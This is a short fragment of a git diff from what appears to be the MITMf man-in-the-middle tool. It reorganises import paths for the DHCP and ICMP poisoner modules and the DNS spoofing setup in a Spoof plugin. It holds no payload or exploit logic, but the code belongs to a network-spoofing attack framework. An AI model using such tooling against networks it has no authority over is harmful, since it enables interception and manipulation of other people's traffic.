from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
|
||||
from core.poisoners.DHCP import DHCPpoisoner
|
||||
|
||||
if options.targets:
|
||||
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
|
||||
|
@ -55,7 +55,7 @@ class Spoof(Plugin):
|
|||
self.protocol_instances.append(dhcp)
|
||||
|
||||
elif options.icmp:
|
||||
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
|
||||
from core.poisoners.ICMP import ICMPpoisoner
|
||||
|
||||
if not options.gateway:
|
||||
shutdown("[Spoof] --icmp argument requires --gateway")
|
||||
|
@ -69,8 +69,6 @@ class Spoof(Plugin):
|
|||
self.protocol_instances.append(icmp)
|
||||
|
||||
if options.dns:
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
self.tree_info.append('DNS spoofing enabled')
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue